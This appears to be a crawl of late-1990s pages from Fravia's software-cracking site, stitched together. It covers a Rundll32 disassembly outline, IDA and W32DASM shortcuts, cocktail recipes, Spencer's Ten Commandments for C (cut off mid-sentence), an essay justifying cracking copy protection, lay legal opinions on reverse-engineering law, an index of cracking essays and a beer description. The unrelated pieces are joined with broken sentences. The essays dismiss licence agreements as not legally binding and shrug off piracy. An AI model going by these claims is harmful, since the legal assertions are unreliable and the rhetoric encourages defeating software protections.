401344 Call 4010AC
401352 Call 40124F (RegisterClassA_CreateWindowExA function)
401373 Call J_SHELL32_122
40137A Call 402010 (Bad Call: .data segment)
401380 Call 4012F8 (DestroyWindow_FreeLibrary)
40138S RET (end subroutine)
...to 401101...
401106 API: LoadLibrary
401113 Jcc 4011C7
40111A Call Kernel32_35
401128 Jcc 401182
40112C Call Kernel32_37
401139 Jcc 401161
401149 Call 40138D (LoadString_wsprintfA_MessageBox function)
401154 Call Kernel32_36
40115C JMP 40120B (RET)
...to 4011C7...
4011CE API: GetProcAddress
4011DB Jcc 40116B
4011F6 API: FreeLibrary
4011FE JMP 40120B (RET)
...to 401182...
401192 API: GetLastError
4011A0 API: FormatMessageA
4011BE Call 40138D (LoadString_wsprintfA_MessageBox function)
Comparing the above abstract with the list of internal routines in View-> Functions shows that all 8 of Rundll32.exe's
routines have been accounted for. While this source code still has a few mysteries that could be cleaned up, its functionality
is relatively clear: this is simply a "loader" function that takes the name of a .DLL file as its startup parameter, then loads that
.DLL using the GetProcAddress/LoadLibrary combo that is used in many applications for loading their own .DLLs. Not very
mysterious at all...more like a patch than a utility.
Configuration
IDA, like Soft-Ice, has a configuration file (IDA.CFG) which the user can customize to suit his needs. Useful functions to
add keyboard commands for are ViewFile (F9), EditFile (Alt-F9), ViewFunctions (Alt-F), and ViewNames (Alt-N). In
addition to defining keyboard commands and #defining a lot of parameters, IDA.CFG contains analysis and display
parameters that can be configured as follows (or to taste):
#define AF_FIXUP 0x0001 // Create offsets and segments using fixup info
#define AF_MARKCODE 0x0002 // Mark typical code sequences as code
#define AF_UNK 0x0004 // Delete instructions with no xrefs
#define AF_CODE 0x0008 // Trace execution flow
#define AF_PROC 0x0010 // Create functions if call is present
#define AF_USED 0x0020 // Analyse and create all xrefs
#define AF_FLIRT 0x0040 // Use flirt signatures
#define AF_PROCPTR 0x0080 // Create function if data xref data->code32 exists
#define AF_JFUNC 0x0100 // Rename jump functions as j_...
#define AF_NULLSUB 0x0200 // Rename empty functions as nullsub_...
#define AF_LVAR 0x0400 // Create stack variables
#define AF_TRACE 0x0800 // Trace stack pointer
#define AF_ASCII 0x1000 // Create ascii string if data xref exists
#define AF_IMMOFF 0x2000 // Convert 32bit instruction operand to offset
#define AF_DREFOFF 0x4000 // Create offset if data xref to seg32 exists
#define AF_FINAL 0x8000 // Final pass of analysis
// See also ANALYSIS2, bit AF2_DODATA
ANALYSIS2 = 0x0001
//-------------------------------------------------------------------------
//
// Text representation
//
//-------------------------------------------------------------------------
Shortcuts
Alt-Z DOS Shell Alt-X Exit
Ctrl-W Save Databse Ctrl-F10 Produce .exe file
Alt-F10 Produce .asm file Shift- F10 Produce .map file
F1 Help F2 IDC File
F3 Open Window F4 Toggle Hex/Asm view
Shfit-F6 Previous Window F6 Next Window
F7 Tile Windows F8 Cascade Windows
F5 Zoom F10 Activate Menu
C Current line=Code D Current line=Data
A Display current line in ASCII N Name current line
: Add comment Alt-M Mark Position
Q Operand=Hex H Operand=Decimal
B Operand=Binary R Operand=Character
Enter Jump to location under cursor Esc Return from jump
G Goto Address Ctrl-L Goto Name
Ctrl-P Goto Function Ctrl-S Goto Segment
Ctrl-M Goto Marked Position Ctrl-X Goto Cross Reference
Ctrl-E Goto Entry Point Alt-T Search for text
Ctrl-C Search for next code Ctrl-D Search for next data
? Calculate expression Shift-F2 Run IDC command
Sourcer
Synpopsis: Sourcer v.7.0 is a DOS mode disassembler that uses a Windows pre-processor (essentially a script that calls
resdump, dumppe, impdump, dumplx, and dumpne, then formats their output for use by Sr.exe); together the whole package
is 1.79 MB. Output is a .lst file containing the asm source code for the original file; the goal of Sourcer is to provide source
code that is re-compilable for the target assembler.
Usage: Sourcer is non-interactive; the user sets options for disassembly, then runs Sourcer--when it has finished, they can
peruse the .lst or .asm file at their leisure in a standard text editor. Windows programs are first run through the winp.exe
preprocessor, which produces a .r and .wdf file as input for sr.exe (the main Sourcer executable).
Windows Preprocessor:
Sourcer:
W32DASM
Synpopsis: W32DASM v.8.9 is a combined disassembler/debugger that totals up to 2.13MB. The disassembler allows
viewing of one file at a time; starting a debug process allows the disassembled file to be run and patched in memory
(debug-mode commands are marked with D, below). Features include import and export function tables, reference tables for
strings, menus, and dialog boxes, hex dumps of data and code segments, and jump/call branching. The debugger is standard
fare with the added features of in-memory code patching and Windows API call "detailing"--a valuable feature that gives the
parameters and returns of any API call made by the program.
Usage:
Debugger:
Shortcuts
Ctrl-L Load Process Ctrl-T Terminate Process (D)
F5 Auto Step Into(D) F6 Auto Step Over(D)
F7 Step Into(D) F8 Step Over(D)
F9 Run Process(D) Space Pause Process(D)
F2 Breakpoint Toggle (D) Ctrl-C Copy Selection
Ctrl-S,F Find Text F3 Find Next
Ctrl-S Goto Code Start F10 Goto Entry Point
F11 Goto Page F12 Goto Code Location
Lft Arrow Execute Jump Ctrl Rt Arrow Return From Jump
Lft Arrow Execute Call Rt Arrow Return From Call
Crackers' cocktails
__+ORC's Martini-Wodka__
+ORC has described the preparation of his mytical "Zen" Martini-Wodka
in his lessons at least 100 times, here, resumed for you, his "HOW TO":
__Fravia's Traitor__
I'll give you the recipe of a very good cocktail, called "the Traitor"
in the lagoons where I come from because you drink it happily till it's too late
to stop:
- Orange Juice (use good oranges, not the sloppy spanish ones)
- Gin (Gordon Gin, nothing else)
- Nutmeg
- Honey
Well, the 4 ingredients should "disappear", i.e. Orange Juice and Gin
should annihilate, and Nutmeg and Honey too.
The perfect "Traitor" is a masterpiece of balance between the 4
ingredients... just try it, you'll love it.
I believe it helps particularly when you try to find wich call
triggers a protection.
__Atheist's best__
Atheist (Atheist(at)usa(point)net) has not yet proposed so
many good cracking trick, but his
cocktail is really faboulous, I tried it:
- Ice cubes
- 1/2 glass Wodka
- 1/6 glass Maraschino
- 2/6 glass Lemon Juice
You prepare now ANOTHER glass with champagne (only)
Now pour and mix everything together: you'll get TWO glasses of
this incredible cocktail.
Atheist says that he can crack *everything* after one glass, and
that he does not care if he cannot after both of them.
__ACP's Zombie__
Well, a good cracker (acp(at)xforce(point)net) poposes a good cocktail, here you go:
1) 1 kewl glass of russian vodka (of course :-)
2) 2 kewl ice-cubes...
3) a spoon of Chocolate Rum
4) 2 drops of fresh lemon
Take a good size glass (14 oz.) - basically a large milk glass and fill
it as such:
1/4 Vodka (Russian is always the best - I can unfortunately only
find Smirnov where I live)
1/4 Spiced Rum (I'm sure any brand will do, but I have always found
Cruzan and Captain Morgan's to be the best)
1/4 Kahlua
1/4 Light Cream (heavy cream if you like really rich drinks)
nutmeg
The nutmeg quantity varies from person to person... Hell, you can put an
entire bottle in if you like (I can guarentee you will have a very
interesting night if you do :-)
Sip your cocktail... sit back... put in some Pink Floyd... crack to
your hearts content.
__Makoli's Makoli __
Wash the rice briefly, and grind it up into a powder. Though it doesn't
really matter, the final size should be at least as small as a quarter
of a rice grain.
Mix the ground rice, sugar and lots of water, enouch to cover the rice
several times over.
Cover and leave it all to stand until bubbles come. When it smells too
strong to consider edible, it's ready!
Make sure to stir it before you pour it, and also to swirl it with your
little finger periodically while you drink it.
Otherwise the solid stuff settles out!
__NiTrO's two__
Other paraphernalia
Not enough? Here you have the Ten Commandments for C Programmers
By Henry Spencer (added in December 1998)
Not enough? Here you have the IN THE BEGINNING: History of Windows
Proposed by Chimaera (added in June 1999)
SHAKESPEARE:
Coriolanus, I,
iii.
You'r deep inside fravia's pages of reverse engineering, choose your way out:
homepage
links
+ORC
students' essays
anonymity
antismut
tools
counter measures
enemy tracking
corporate survival
mail_fravia+
(c)
Fravia 1995, 1996, 1997, 1998, 1999. All rights
reserved
1. Thou shalt run lint frequently and study its pronouncements with care, for verily its perception and
judgement oft exceed thine.
This is still wise counsel, although many modern compilers search out many of the same sins, and
there are often problems with lint being aged and infirm, or unavailable in strange lands. There are
other tools, such as Saber C, useful to similar ends.
'Frequently' means thou shouldst draw thy daily guidance from it, rather than hoping thy code will
achieve lint's blessing by a sudden act of repentance at the last minute. De-linting a program which
has never been linted before is often a cleaning of the stables such as thou wouldst not wish on thy
worst enemies. Some observe, also, that careful heed to the words of lint can be quite helpful in
debugging. 'Study' doth not mean mindless zeal to eradicate every byte of lint output-if for no
other reason, because thou just canst not shut it up about some things-but that thou should know
the cause of its unhappiness and understand what worrisome sign it tries to speak of.
2. Thou shalt not follow the NULL pointer, for chaos and madness await thee at its end.
Clearly the holy scriptures were mis-transcribed here, as the words should have been 'null pointer',
to minimize confusion between the concept of null pointers and the macro NULL (of which more
anon). Otherwise, the meaning is plain. A null pointer points to regions filled with dragons,
demons, core dumps, and numberless other foul creatures, all of which delight in frolicing in thy
program if thou disturb their sleep. A null pointer doth not point to a 0 of any type, despite some
blasphemous old code which impiously assumes this.
3. Thou shalt cast all function arguments to the expected type if they are not of that type already,
even when thou art convinced that this is unnecessary, lest they take cruel vengeance upon thee
when thou least expect it.
A programmer should understand the type structure of his language, lest great misfortune befall
him.
Contrary to the heresies espoused by some of the dwellers on the Western Shore, 'int' and 'long'are
not the same type. The moment of their equivalence in size and representation is short, and the
agony that awaits believers in their interchangeability shall last forever and ever once 64-bit
machines become common.
Also, contrary to the beliefs common among the more backward inhabitants of the Polluted
Eastern Marshes, 'NULL' does not have a pointer type, and must be cast to the correct type
whenever it is used as a function argument.
(The words of the prophet Ansi, which permit NULL to be defined as having the type 'void *', are
oft taken out of context and misunderstood. The prophet was granting a special dispensation for
use in cases of great hardship in wild lands. Verily, a righteous program must make its own way
through the Thicket Of Types without lazily relying on this rarely-available dispensation to solve
all its problems. In any event, the great deity Dmr who created C hath wisely endowed it with
many types of pointers, not just one, and thus it would still be necessary to convert the prophet's
NULL to the desired type.)
It may be thought that the radical new blessing of 'prototypes' might eliminate the need for caution
about argument types. Not so, brethren. Firstly, when confronted with the twisted strangeness of
variable numbers of arguments, the problem returns... and he who has not kept his faith strong by
repeated practice shall surely fall to this subtle trap. Secondly, the wise men have observed that
reliance on prototypes doth open many doors to strange errors, and some indeed had hoped that
prototypes would be decreed for purposes of error checking but would not cause implicit
conversions. Lastly, reliance on prototypes causeth great difficulty in the Real World today, when
many cling to the old ways and the old compilers out of desire or necessity, and no man knoweth
what machine his code may be asked to run on tomorrow.
4. If thy header files fail to declare the return types of thy library functions, thou shalt declare them
thyself with the most meticulous care, lest grievous harm befall thy program.
The prophet Ansi, in her wisdom, hath added that thou shouldst also scourge thy Suppliers, and
demand on pain of excommunication that they produce header files that declare their library
functions. For truly, only they know the precise form of the incantation appropriate to invoking
their magic in the optimal way. The prophet hath also commented that it is unwise, and leads one
into the pits of damnation and subtle bugs, to attempt to declare such functions thyself when thy
header files do the job right.
5. Thou shalt check the array bounds of all strings (indeed, all arrays), for surely where thou typest
'foo' someone someday shall type `supercalifragilisticexpialidocious'.
As demonstrated by the deeds of the Great Worm, a consequence of this commandment is that
robust production software should never make use of gets(), for it is truly a tool of the Devil. Thy
interfaces should always inform thy servants of the bounds of thy arrays, and servants who spurn
such advice or quietly fail to follow it should be dispatched forthwith to the Land Of Rm, where
they can do no further harm to thee.
6. If a function be advertised to return an error code in the event of difficulties, thou shalt check for
that code, yea, even though the checks triple the size of thy code and produce aches in thy typing
fingers, for if thou thinkest 'it cannot happen to me', the gods shall surely punish thee for thy
arrogance.
All true believers doth wish for a better error-handling mechanism, for explicit checks of return
codes are tiresome in the extreme and the temptation to omit them is great. But until the far-off day
of deliverance cometh, one must walk the long and winding road with patience and care, for thy
Vendor, thy Machine, and thy Software delight in surprises and think nothing of producing subtly
meaningless results on the day before thy Thesis Oral or thy Big Pitch To The Client.
Occasionally, as with the ferror() feature of stdio, it is possible to defer error checking until the end
when a cumulative result can be tested, and this often produceth code which is shorter and clearer.
Also, even the most zealous believer should exercise some judgement when dealing with functions
whose failure is totally uninteresting... but beware, for the cast to void is a two-edged sword that
sheddeth thine own blood without remorse.
7. Thou shalt study thy libraries and strive not to re-invent them without cause, that thy code may be
This particular heresy bids fair to be replaced by 'All the world's a Sun' or 'All the world's a 386'
(this latter being a particularly revolting invention of Satan), but the words apply to all such
without limitation. Beware, in particular, of the subtle and terrible 'All the world's a 32-bit
machine', which is almost true today but shall cease to be so before thy resume grows too much
longer.
Back to cocktails
Reverse engineering a program you have legitimately bought and studying or modifying its code is perfectly LEGAL, at least
in the European Union, as long as
* You do it only for your personal use or for "educational purposes" (i.e. study)
* You do not use big chunks of the code for applications you SELL
You may for instance completely modify Wordpad for your personal use, as I did, in order to have as defaults *.txt, *.alf and
*.asm instead of the almost useless *.doc
You may rip off whatever code you want from whichever application you want in order to use it, modify it, squash it with a
mace or throw it away :-)
Article 6: Decompilation
Note -what's even MORE important for reverse engineering- that at article 5 there are some EXCEPTIONS to the restricted
acts:
Quite right! Obviously there cannot be a "looking under the cover is forbidden" policy, which would lame all technical
development (it's already lamed enough like it is now), therefore you may observe, study or test the functioning of any program
you fancy (the reason is that they could not have forbidden it anyway :-) sipping your favourite Martini
There is another point at art.7.1.(c) that refers to "technical devices which may have been applied to protect a computer
program", which could be of interest for us:
(c) any act of putting into circulation, or the possession for commercial
purposes
of, any means the sole intended purpose of which is to facilitate the
unauthorized
removal or circumvention of any technical device which may have been applied to
protect a computer program.
But this refers -at most- to dongles-cracking and it is clearly intended for mass-burning of pirated cd-roms (which BTW is a
big industry in the far East and in the Ex-Yugoslavian Lilliput states)
US law seems to be more restrictive (which is obvious, given the way our planet is ruled, since the States lead themselves the
software industry and therefore defend their own interests... software protection laws will probably be much more permissive
only when the new software will be mainly produced by the poor countries), see, for the differences between European Union's
laws and US' laws , the articles at http://www.ipww.com/mar96/p13world.html
Here is an interesting snippet about disassembling and law in the States, 1992
Sega v. Accolade, decided by the Ninth Circuit in 1992, makes clear that, in certain instances, the unauthorized disassembly of
a computer program's object code in order to derive source code is not a copyright infringement. The Ninth Circuit applied the
'fair use' balancing test to determine that Accolade's use of reverse engineering techniques to produce an 'intermediate copy' of
Sega's source code did not constitute copyright infringement. Accolade never distributed the intermediate copy commercially,
but instead used it only to extract unprotectable ideas a sequence of bytes which act as a software key from Sega's game
program. This key was then incorporated into Accolade's games, enabling them to 'unlock' and run on Sega's game platforms.
The court cautioned, however, that disassembly involves the making of a literal copy of a program, and it is permissible only
when necessary to extract the unprotectable ideas. It is unclear how far this fair use right extends.
This brings us nowhere... the whole subject seems pretty unregolated as for now... it would be worth to examine and "reverse
engineer" (if you are a lawyer or a specialist in applied semantics) the various "scarecrow" information that we always find
inside all software packages... some of them are so severe and unpolite that seem written by an Orwellian fanatic or a
"Farenheit 451" follower :-). See below about this aspect.
WHY WE CRACK
Now the "why we crack" part: We are defeating mainly copy protection schemes (but see my two lessons on how to
completely reverse engineer a Windows 3.1 application) bacause that's fun, and this way we can get a lot of people on the
bandwagon, for the challenge, and because we believe firmly that every knowledge (in fact I believe everything) should be
free (in the web and in the whole world)... but we are doing NOTHING at all compared with that what is really happening
around you:
Every program you can think of can be found on the web, (in thousand different ftps) in its COMPLETE version many
WEEKS before it ever appears in the best shops, as everyone with intelligence level "eggplant" soon discovers.
There are obviously differences among all the stupid countries of the planet... You may want to have a look here in order to
consider where you would be able to buy/produce pirated software or where you should install your server for more "aimed"
reverse engineering activities or whatever:-) Besides, since there are "money" and "tax" paradises (and -how funny- nobody
makes much fuss about that), why shouldn't there exist "software" paradises? (Obvious answer: because money paradises are
useful for the rich, software paradises would be useful for the poor :-(
And that's the huge "illegal" part of it, but there is also a huge "legal" pirating (forced by the fierce concurrence in the software
market and by the mere existence of the warez scene on the Web):
Programs and applications are being now sold on Magazine's CD-ROMs IN THEIR COMPLETE VERSION few months after
their first appearence for next to nothing... this began in Europe 5 months ago and the rithmus (and the quality of the software)
has increased enormously: I saw some days ago Panzer general 2 complete (CD Player n.19), Ticonderoga complete (both not
at all so old games: late 1996!) Database 5 and the whole Lotus set '97 complete and unrestricted (PcPlus 35b, with the
complete Borland Delphi 1 and the complete "ImagePals" as well) on various magazine's cd-rom. The same Lotus set was, for
instance, sold in its boxes at the software retailer for TWENTY times the magazine price, it may sound illogic, but it is exactly
so... Lotus is scared dead to disappear (thanks to the Micro$oft war against all other software producers... funny, there never
seem to be any law against this kind of actions , btw :-( and Lotus is therefore compelled, like Netscape, to give away for free
its software just in order to survive... yet even these magazines with 600 megabytes of good software on them every month are
selling less and less (hence the fierce concurrence) because everything is already on the web for free...
And all this is only the top of the Iceberg: Hundred of THOUSAND of BBS all around the world push around tons of
Megabytes of pirated software, which to day you may easily burn on cd-roms in order to distribute them at your friends on
your birthday party. Cheaper than buying a cake
And that was for the big commercial" software companies. Shareware programmers are NOT damaged by good crackers (who
study assembly and are mostly programmers themselves) but by themselves, when they program with useless overbloated
languages huge toy-applications and by "serial numbers aficionados", people that prepare and distribute huge lists with
millions of validation codes that you can find everywhere on the web.
On our pages there is not a single pirated copy of software... we do not need pirated copies since we are able to crack them in
spades anytime we fancy (or to fetch them immediately from the web... we don't even need to keep programs on our harddisk
any more, would be like hoarding leaves in a forest) besides we do not even care much for the software we crack... in fact
(apart our beloved Softice) we are much more interested in the protection schemes themselves than in the software they
protect, which most of the time is pure crap. As you'll see in some examples of +ORC's tutorial and in many students' essays,
we even AMELIORATE the programs we crack.
We do not steal, we study, and the software development will soon depend (and in part depends already) from the capacities
that we (and almost nobody else) are developing: who else if not a cracker will in few years time be able to compact and
ameliorate already existing, lame applications? I believe the society is already changing, and in my opinion the fact that you
have worked in something like the +HCU will soon open you quite a lot of doors :-)
As you'll read on the (very important) student page, one of our problems, is that the protection schemes are (mostly)
incredibly stupid. That's why we have decided to begin writing and devising much stronger protection schemes ourselves... for
the challenge and in order to improve ourselves, seen that the commercial programmers are not able to give us any "cheap
thrills" any more... how could they? Most programmers seem to work for useless money, not for the (very important) pleasure,
nor for the only thing that really matters in this new age we are already in: knowledge!
You may want to have a look at some programmers' discussions in my counter intelligence section, at some advices for
programmers in my How to protect better and programmers' corner sections.
(i) use this software on as many computers as you wish at no charge for
up to but no more than 30 days. After 30 days of use you must either
discontinue the use of this software or purchase a registered version
for each computer that you are going to use this software on.
DISCLAIMER OF DAMAGES:
We have made every effort possible to ensure that this software is free
of any bugs or errors, however in no way is this software to be considered
error or bug free. By using this software you assume all responsibility
for any damages or lost data that may result from any errors or bugs in
this software. Regardless of whether any remedy set forth herein fails
of its essential purpose, in no event will our Software house be liable
to you for any special, consequential, indirect or similar damages,
including any lost profits or lost data arising out of the use or inability
to use this software...
Note that you should not "reverse engineer, decompile, disassemble, modify, translate, make any attempt to discover the
source code", as if the source code of a software product were a 'private secret' that third parties are not even allowed to
examine...
TITLE
TERMINATION
Here there seems to be an interesting possibility. I reverse the software. License has been violated and terminate. I then destroy
all copies of the software, and have then respected the licence. And so on ab absurdo. Like the never-ending sentence "All
crackers are liers, lied the cracker".
OK, it is clear that such 'scarecrow' agreements are as funny and preposterous as you wish, yet of course NOT legally binding.
Let's demonstrate it ab absurdo: If they were legally binding, then ANY agreement of this sort would be, and then anyone, you
or me, could prepare on his own a small program (I promise that I'll really write it myself as soon as I find the time) that acts as
a small 'wrapper' for all this kind of software (I really wish that a good lawjer will correct this in order to make our own 'legal
scarecrows' even more dangerous-looking than those used by some softwarehouses...):
Finally you accept also COMPLETE RESPONSABILITY for any malfunctioning your
software will have caused to the owner of the hardware you are allow
to visit -take note- ONLY if you accept this.
If you don't wish to accept these conditions, please leave immediatly this private
memory and completely remove you software from this private hardware.
By trespassing this memory point you have completely agreed to the above. [add
date with hours, minutes and seconds here] + [Sign with the version name of the
software]
. Ab absurdo, as I said... yet, see, either both "agreements" are valid or neither is... you cannot have the cake and eat it.
I would say that we could keep it this way: anyone may reverse the hell out of everything, provided he does not steal or sell
alien code.
The only binding texts are the NATIONAL LAWS governing software reversing and we have already seen that 'at least in the
European Union): 5(3): 3. The person having a right to use a copy of a computer program shall be entitled, without the
authorization of the rightholder, to observe, study or test the functioning of the program in order to determine the ideas and
principles which underlie any element of the program if he does so while performing any of the acts of loading, displaying,
running, transmitting or storing the program which he is entitled to do..
And that's it, if you want to have a look at OTHER METHODS to avoid this legal hassle, have a look at my short essay
Scarecrow license agreements and how to defeat them.
Trademarks are not a problem if you write somewhere the following (I'm writing it here and yet it covers my whole site! :-)
Trade secrets are information of a given company that give competitive advantages, like the CocaCola recipe.
To protect against revealing other people secrets when you publish information gained from others (like I do continuously, for
instance, on my student page), you better write the following somewhere:
All authors whose scripts are accepted for publishing on Fravia's site
warrant and represent that their work is original; that the author is either
its sole author, or that he or she has the legal power to make this agreement
if there are coauthors and that he or she has notified the co-authors of this
agreement; and that the work does not impair anyone else's rights of any kind.
The author agrees to indemnify Fravia against loss or damage (including
reasonable attorney's fees) arising out of any claim alleging a breach of
these warranties and representations.
And that's all following some european attorneys, it's not enough following some american ones (please write me more :-).
Copyright on everything one's write is automatically created at the time you create an original work, provided you add
somewhere on your site the following:
Copyright (c) 1995, 1996, 1997, 1998, 1999 Fravia. All rights reserved
Theoretically, after having written all what you can read above, noone should be able to use any part of my site without asking
for permission or paying me royalties, unfortunately, given some of the subjects of my site, I doubt that I would find a court
able to help much in case of a claim of mine :-)
You are deep inside fravia's page of reverse engineering, choose your way out:
I am The+Starling (although it shouldn't take you too long to determine my real name). You were asking
for help on the legal aspects of reverse engineering. Here are my thoughts
THE+STARLING - 06/11/98
Introduction
Although I'm not connected with the legal profession I thought I'd have a go at exploring the issues to do
with one of +Fravia's questions on the legality of reverse engineering from a layman's perspective. To
answer the question I'm going to talk about EEC law, specifically the text of the Council Directive of 14
May 1991 on the legal protection of computer programs (91/250/EEC). Because it's EEC law, most of
this probably doesn't apply in the States (sorry fellas) and please bear in mind that because this is the text
of the Directive, some of the portions of the actual Directive could be different. So, down to business ..
the article consists of a discussion of what I think are the three most important bits of the Directive,
Article 5(1), Article 5(3) and Article 6. I've also mentioned Article 9(1) in passing. It'll probably help if
you've read at least thesee from the directive. One last thing, during the course of the article I'll refer to
"the author" quite a bit. When I say "the author" I mean either the person, or the people, or the company
that sold you the program - it's a legal term that's definined in the Directive. I guess I don't have to say
that because I'm not a lawyer or solicitor or whatever, you shouldn't take any of this as legal advice. If
you're in legal trouble you really need to get help from a professional.
Discussion
You may fix bugs unless the license says otherwise - Article 5(1) You are legally entitled to do "anything
you like" (sic) to a program to fix it if and only if it doesn't work and the license agreement doesn't say
otherwise. So if the license that comes with your nice new software contains a clause that says something
like "you can't fix my heap of shit if it breaks then you are not legally entitled to take it to pieces and fix
it. However if the license doesn't say what to do if the program's faulty then you can translate, adapt,
arrange or alter the program in order to get it to work: but you are not legally entitled to do any of those
four things for any other purpose (because it's a challenge, say).
You may observe, study or test a program's functioning - Article 5(3) Regardless of what the license
agreement says, you don't need to have permission from the program's author (the "authorization of the
rightholder"), to study the way a program works (it's "functioning") if and only if your aim is to
understand the "ideas and principles" which underlie the part of the program you're studying. Anything in
your contract that says you can't study, observe or test the program's functioning is declared "null and
void" by Article 9. However if it can be proved that in studying the program you've infringed laws on
"trade-marks, unfair competition, trade secrets, protection of semi-conductor products or other laws of
contract" you may be liable to prosecution. This might mean that if you go studying a program and
you've accepted the license agreement for it you can be found in breach of contract (because you may
have infringed "other laws of contract"). However because contract law is fantastically complicated
(even more so than +Fravia's site :-) you'd need a specialist to look and decide whether studying a
particular program constitutes a breach of the license conditions for that program.
It's now time to touch on the important question to do with Article5(3). It is: when you reverse engineer a
program are you studying it? In other words, does reverse engineering constitute a legitimate area of
study? If it's legitimate then it should be okay to reverse any program you like as long as you're doing it
to study the program and not for some other reason. I don't think there's a hard and fast answer to this
question. On the face of it I can't think of any reason why reverse engineering should be illegitimate per
se: it's just another area of computer science/engineering like any other and every area of study requires
subject matter. But there are questions to do with a person's intent when they reversed a product which
would need to be answered in a legal case. In other words, in order to decide whether your reversing is
legit you probably need to look at your motives for reversing a program: do you do it for profit or
because you want to understand how it works? If the latter then you are potentially on better ground than
if it were the former. If you really are interested in how a protection scheme works and you're not trying
to crack it so you can sell, or give, the resulting program to others, then a court of law would be inclined
to look more favourably on you. However you would need to provide proof of your intention: just saying
so wouldn't be enough. Publicising your results on a Web page with the heading "FREE CRACKED
PROGRAMS" would definitely not be good idea. Neither would public vitriolic rantings aimed at the
author because it might be apparent that your aim was not to understand the program but to damage the
author's "legitimate interest", i.e. you cracked the program because you wanted to harm their business in
some way. For example, saying "Micro$haft are demonically intent on possessing people's souls and I
love to break their programs because it gives me pleasure" to your friends is fine, but when you publish a
web page you put your opinions in the public domain.
At that point you really must be prepared to put your money where your mouth is - if you really have an
informed opinion then it should be possible to persuade a reasonable group of people that you are right.
However if you're just mouthing off all you'll do is make yourself look like a berk and you'll demean the
credibility of your contention that you were seeking understanding.
see note 1!
You may decompile a program if it's not "interoperable" with other programs - Article 6 You are legally
entitled to decompile a program if and only if it's necessary to "achieve the interoperability of an
independently created computer program with other programs", but not for any other purpose. A program
is not interoperable if it "gets in the way" of other programs on your computer. By this I mean that it
must obstruct another program's execution on purpose, or hog so much memory that nothing else can get
a look in on purpose, or refuse to relinquish control to Windows on purpose, and so on. A program is
perfectly interoperable if it's a bit slow, or buggy, or the executable is a bit larger than it need be.
Interoperability has to do with deliberate obstruction rather than bugs. So if your snazzy new $oftICE
program has a virus in it that causes it to destroy the M$Explorer executable, you're perfectly at liberty to
take it to bits and stop it doing that. But if IExplore.exe is feeling a bit poorly today and you're pissed off
with it, you are not legally entitled to hack it around in order to speed it up a little. When you decompile
a program, you are only allowed to alter that bit of it that's causing it not to be interoperable. So if you're
fixing that virus in $oftICE you can't go altering the protection scheme at the same time (unless it's that
that's causing the trouble of course :-).
Conclusion
I think the law is fairly clear as far as fixing bugs and making a program work alongside other programs
goes. But it looks like the waters are muddy as far as reversing a program in order to study it goes.
Intention (as ever) appears to be 9/10ths of the law in this case. Having said that it may be that a lawyer
would be able to clarify points of my interpretation, but then again it might be that the law is unclear on
this point and it would require a judgement to sort the matter out.
THE+STARLING - 06/11/1998
Cracker, reverse thyself
Note 1: I'm sure this final set of opinions will look pedestrian to some people. Perhaps they are. I just
think that if we're really interested in defending reverse engineering as legitimate subject for study (rather
than just saying "up yours" to corporations because they happen to have incurred our displeasure) we'll
need to start putting some reasoned argument behind rhetorical statements like "You may bomb or nuke
only sites and pages that are really lame and/or pathetically commercial-oriented" otherwise we'll make
ourselves look like arses rather than searchers :-)
Back to legal
n 2
Academy of reverse engineering: ESSAYS
101-200
(Archive: 2 Mar 1997 - 4 Sep 1997)
Adding Functionality
16 Sep
x86 ~ x86dd2.htm You're Not Supposed To proj 6 ~ fra_0072
97
Have (II)
17 Sep
Crushed_ICE ~ crushed1.htm Symantec Visual Cafe unass. ~ fra_0073
97
18 Sep
+drlan ~ lan002.htm Enterprise REXX unass. ~ fra_0074
97
18 Sep
+drlan ~ lan003.htm MKS Toolkit Release 5.2 unass. ~ fra_0075
97
18 Sep
Vizion ~ vizion1.htm TTFPlus 3.3 32-bit demo unass. ~ fra_0076
97
19 Sep
The Undertaker ~ undtron1.htm Tron version 1.30 projunpa ~ fra_0077
97
20 Sep Customizing Netscape's
Mammon_ ~ mammop5.htm proj 5 ~ fra_0078
97 buttons and menus
20 Sep Regview: the 2 minutes
Rundus ~ rundus2.htm unass. ~ fra_0079
97 crack
20 Sep A little tutorial on key
+MaLaTTiA ~ nscekey.htm unass. ~ fra_007A
97 generators
22 Sep DLL-based schemes are
+ReZiDeNt ~ reszist2.htm proj 7 ~ fra_007B
97 *dead*
24 Sep
Frog's Print ~ frogtem1.htm Bullet Proof FTP V1.0 proj 7 ~ fra_007C
97
24 Sep Cracking SendMail 2.0 for
Flipper ~ flippe3.htm proj 7 ~ fra_007D
97 Windows NT
24 Sep
+DataPimp ~ riddcd1.htm WarLords 3 Cd-Check proj 4 ~ fra_007E
97
24 Sep Jeremy Lilley's protexe!
The Undertaker ~ underje.htm unass. ~ fra_007F
97 exe/com v5.5
25 Sep The "call relocation table'
fravia+ ~ frarul1.htm unass. ~ fra_0080
97 and its importance"
26 Sep CD-Rom reversing
+DataPimp ~ riddcd2.htm proj 4 ~ fra_0081
97 MechWarrior2 Mercenaries
26 Sep Reverse Engineering VBX
+PopJack ~ popja2.htm proj 8 ~ fra_0082
97 Custom Controls
26 Sep How to Reverse Lotus
+Rcg ~ rcglotus.htm unass. ~ fra_0083
97 SmartSuite-97
26 Sep ARJSHELL DISABLED
Rundus ~ rundus4.htm proj 6 ~ fra_0084
97 SAVE FUNCTION
the second
Above no more banal essays please 100 - 200!
hundred!
(c) Fravia+ , +ReZiDeNt, Krugman, 1995, 1996, 1997, 1998. All rights reversed
homepage links anonymity +ORC students' essays academy database bots wars
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
homepage links anonymity +ORC students' essays academy database bots wars
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
Porvo (Suomi Finland), August 1998, a world-famous cracker with one of the sons of an even more famous
reverser :-)
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
Producer:
Brasserie ROMAN, Hauwert 61, B-9700
OUDENAARDE-MATER
Tel: 0032-55-455401
Fax: 0032-55-455600
Description (of course in french, like wines, samo samo):
Alcoolise (9%), sche en got et bizarrement dote d'une nuance sucre sans prolongement. Elle
arrive en bouteille aprs une mre fermentation de deux mois. Elle subira une nouvelle
fermentation en bouteille. Trs douce en bouche, et rafraichssante quand elle n'est pas tempre,
la Triple Ename possde des qualits trs digestives grce essentiellement aux eaux des sources
